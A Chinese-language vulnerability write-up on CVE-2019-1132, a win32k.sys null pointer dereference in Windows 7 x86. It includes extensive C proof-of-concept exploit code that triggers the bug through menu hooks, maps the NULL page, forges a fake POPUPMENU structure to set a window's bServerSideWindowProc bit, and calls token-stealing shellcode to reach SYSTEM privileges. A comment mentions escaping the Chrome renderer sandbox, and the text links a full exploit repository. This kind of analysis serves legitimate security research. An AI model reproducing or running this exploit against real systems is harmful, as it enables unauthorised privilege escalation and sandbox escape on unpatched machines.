CVE–2019-1132是Windows kernel中的一个空指针引用漏洞。空指针引用漏洞已经消失多年了,但仍然被用于恶意软件攻击中。本文介绍CVE-2019-1132漏洞的技术细节,以及PoC代码。
简介
该漏洞是win32k.sys驱动中的空指针引用,会导致Windows 7和Windows Server 2008系统中的权限提升。微软已于2019年7月发布漏洞补丁。本文将对漏洞进行分析并创建了Windows 7 x86环境+6月份修复补丁的PoC。
漏洞概述
该来的位于win32k!xxxMNOpenHierarchy
函数中,因为该函数没有检查指向tag POPUPMENU->ppopupmenuRoot
的指针是否为空。该域可以被不同的操作访问,如果攻击者可以将该域设置为NULL
,就可以引发空指针引用。
为了利用该漏洞,攻击者需要以特定方式来映射该null页,然后成功进行权限提升。
为了将ppopupmenuRoot
设置为NULL
,首先要释放该域指向的root popupmenu
菜单。研究人员首先打开root popupmenu
的一个sub-menu,sub-menu
会在kernel模式下调用win32k!xxxMNOpenHierarchy
,该调用会创建第二个sub-menu
。创建第二个popupmenu
时,root menu
的sub-menu
的ppopupmenuRoot
域会含有NULL
。当win32k!HMAssignmentLock
函数尝试访问该域时,会执行一个空指针引用操作,导致BSOD(Windows蓝屏)。
漏洞触发
为了触发该漏洞,研究人员使用了ESET博客中的方法。总结如下:
1.首先创建一个窗口和3个menu对象,然后将meau项合并。
/* Creating the menu */
for (int i = 0; i < 3; i++)
hMenuList[i] = CreateMenu();
/* Appending the menus along with the item */
for (int i = 0; i < 3; i++)
{
AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item");
}
AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");
/* Creating a main window class */
xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc);
hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
WS_VISIBLE,
GetModuleHandleA(NULL));
printf("Handle of the mainWindow : 0x%08Xn", (unsigned int)hWindowMain);
ShowWindow(hWindowMain, SW_SHOWNOACTIVATE);
2.在WH_CALLWNDPROC
和EVENT_SYSTEM_MENUPOPUPSTART
上安装hook。
/* Hooking the WH_CALLWNDPROC function */
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());
/* Hooking the trackpopupmenuEx WINAPI call */
HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc,
GetCurrentProcessId(), GetCurrentThreadId(), 0);
3.用TrackPopupMenuEx
函数来展示root popup menu
。当TrackPopupMenuEx
被调用时,会调用win32k!xxxTrackPopupMenuEx
函数来展示菜单。然后会通过EVENT_SYSTEM_MENUPOPUPSTART
类型的事件来通知用户。
/* Setting the root popup menu to null */
printf("Setting the root popup menu to nulln");
release = 0;
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
4.这会触发事件hook函数xxWindowEventProc
。通过发送MN_OPENHIERARCHY
消息,它最终会调用函数win32k!xxxMNOpenHierarchy
。
static
VOID
CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
UNREFERENCED_PARAMETER(hWinEventHook);
UNREFERENCED_PARAMETER(event);
UNREFERENCED_PARAMETER(idObject);
UNREFERENCED_PARAMETER(idChild);
UNREFERENCED_PARAMETER(idEventThread);
UNREFERENCED_PARAMETER(dwmsEventTime);
bEnterEvent = TRUE;
if (iCount < ARRAYSIZE(hwndMenuList))
{
hwndMenuList[iCount] = hwnd;
iCount++;
}
SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}
5.当函数win32k!xxxMNOpenHierarchy
被调用后,会调用win32k!xxxCreateWindowEx
函数来创建另一个popupmenu
对象。在调用win32k!xxxCreateWindowEx
函数期间,WM_NCCREATE
消息会被发送给用户,可以在WH_CALLWNDPROC hook
函数中看到,比如xxWindowHookProc
。
6.在xxWindowHookProc
函数中,研究人员会通过检查root menu
对象的window handle
来检查是否创建rootpopup menu
对象,并验证下一个popup menu
对象window handle是否为NULL
。研究人员还确认了该消息是否为WM_NCCREATE
。
static
LRESULT
CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])
{
printf("Sending the MN_CANCELMENUS messagen");
SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);
bEnterEvent = FALSE;
}
return CallNextHookEx(0, code, wParam, lParam);
}
然后发送WM_CANCELMENUS
到root popupmenu
对象。
最终会调用win32k!xxxMNCancel
,并设置root popupmenu
的fDestroyed
位。然后调用win32k!xxxMNCloseHierarchy
关系root popupmenu对象的栈中的sub-menu
。
因为sub-menu还没有被创建,因此函数会win32k!xxxMNCloseHierarchy
跳过子menu对象,也不会设置fDestroyed
位,当sub-menu
存在时会破坏root popupmenu对象。
现在tagPOPUPMENU->ppopupmenuRoot
被设置为NULL
,因为sub-menu
的root popup menu
被破坏了,如截图所示。
Ppopupmenu设置为NULL
漏洞利用
此时,ppopupmenuRoot
会指向NULL。为了从NULL页触发内存访问,研究人员发送MN_BUTTONDOWN
消息到sub-menu对象。研究人员最开始尝试利用ESET建议的方法来触发该漏洞,但是通过发送MN_BUTTONDOWN
消息可以调用win32k!xxxMNOpenHierarchy
函数。
还有另一种方法来调用win32k!xxxMNOpenHierarchy
函数,那就是通过sub-menu作为根(root)的TrackPopupMenuEx
。所以研究人员使用TrackPopupMenuEx
来调用win32k!xxxMNOpenHierarchy
函数,并最终访问了NULL页面。
访问NULL Page
可以看到访问了位置0x0000001c
,该位置指向的是释放的root popup menu
对象的tagWND
对象。
然后该地址被发送给win32k!HMAssignmentLock
函数。
ESET博客中提到,bServerSideWindowProc
位是在函数win32k!HMDestroyedUnlockedObject
中设置的。但是研究人员尝试后还是无法设置攻击窗口的位。因此研究人员使用clockObj
指令递减来设置 bServerSideWindowProc
位。
下面介绍下漏洞利用的步骤:
1.首先创建一个作为攻击窗口的窗口。
/* Creating the hunt window class */
xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);
hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
WS_EX_LEFT,
WS_OVERLAPPEDWINDOW,
GetModuleHandleA(NULL));
printf("Handle of the huntWindow : 0x%08Xn", (unsigned int)hWindowHunt);
2.然后使用NtAllocateVirtualMemory
来在NULL页面分配内存。
/* Allocating the memory at NULL page */
*(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
return 1;
if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),
&MemAddr,
0,
&MemSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || MemAddr != NULL)
{
printf("[-]Memory alloc failed!n");
return 1;
}
ZeroMemory(MemAddr, MemSize);
3.然后使用HMValidateHandle
函数技术就可以写了攻击窗口的tagWND
对象的地址。
/* Getting the tagWND of the hWindowHunt */
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
printf("Address of the win32k!tagWND of hWindowHunt : 0x%08Xn", (unsigned int)head->deskhead.pSelf);
4.研究人员在NULL页面伪造了一个假的popupmenu
对象来满足设置攻击窗口的bServerSideWindowProc
位的条件。
/* Creating a fake POPUPMENU structure */
DWORD dwPopupFake[0x100] = { 0 };
dwPopupFake[0x0] = (DWORD)0x1; //->flags
dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify
dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)0x1; //->spmenu
dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate
dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0x1; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0x1; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)0x1; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
/* Copying it to the NULL page */
RtlCopyMemory(MemAddr, dwPopupFake, 0x1000);
win32k!HMAssignmentLock
函数(0x0000001c
)访问的地址指向的是伪造的popupmenu
对象的spwndActivePopup
。然后研究人员将伪造的popupmenu
对象的spwndActivePopup
域设置为指向地址tagWND + 0x12
。
这是因为在[eax + 4]
减clockObj
值的指令,bServerSideWindowProc
位在tagWND
对象的第18
位。为了成功设置该位,(eax + 4)
必须指向tagWND
对象+0x16
。
5.现在就可以访问映射到NULL页面的域,并验证攻击窗口的bServerSideWindowProc
位是否设置。
设置bServerSideWindowProc位
6.可以看出设置了bServerSideWindowProc
位。然后可以发送消息到攻击窗口,然后会被xxMainWindowProc
处理。然后检查cs寄存器。如果cs寄存器等于0x1b
,而且处于用户模式,就会失败否则就调用shellcode。
Shellcode执行后,就成功了:
static
LRESULT
WINAPI
xxMainWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == 0x1234)
{
WORD um = 0;
__asm
{
// Grab the value of the CS register and
// save it into the variable UM.
//int 3
mov ax, cs
mov um, ax
}
// If UM is 0x1B, this function is executing in usermode
// code and something went wrong. Therefore output a message that
// the exploit didn't succeed and bail.
if (um == 0x1b)
{
// USER MODE
printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.rn");
ExitProcess(-1); // Bail as if this code is hit either the target isn't
// vulnerable or something is wrong with the exploit.
}
else
{
success = TRUE; // Set the success flag to indicate the sprayCallback()
// window procedure is running as SYSTEM.
Shellcode(); // Call the Shellcode() function to perform the token stealing and
// to remove the Job object on the Chrome renderer process.
}
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
获取NT AUTHORITY/SYSTEM
权限
漏洞利用代码已经在安装了6月份补丁的Windows 7 x86环境中进行了测试,代码参见github: https://github.com/Vlad-tri/CVE-2019-1132 。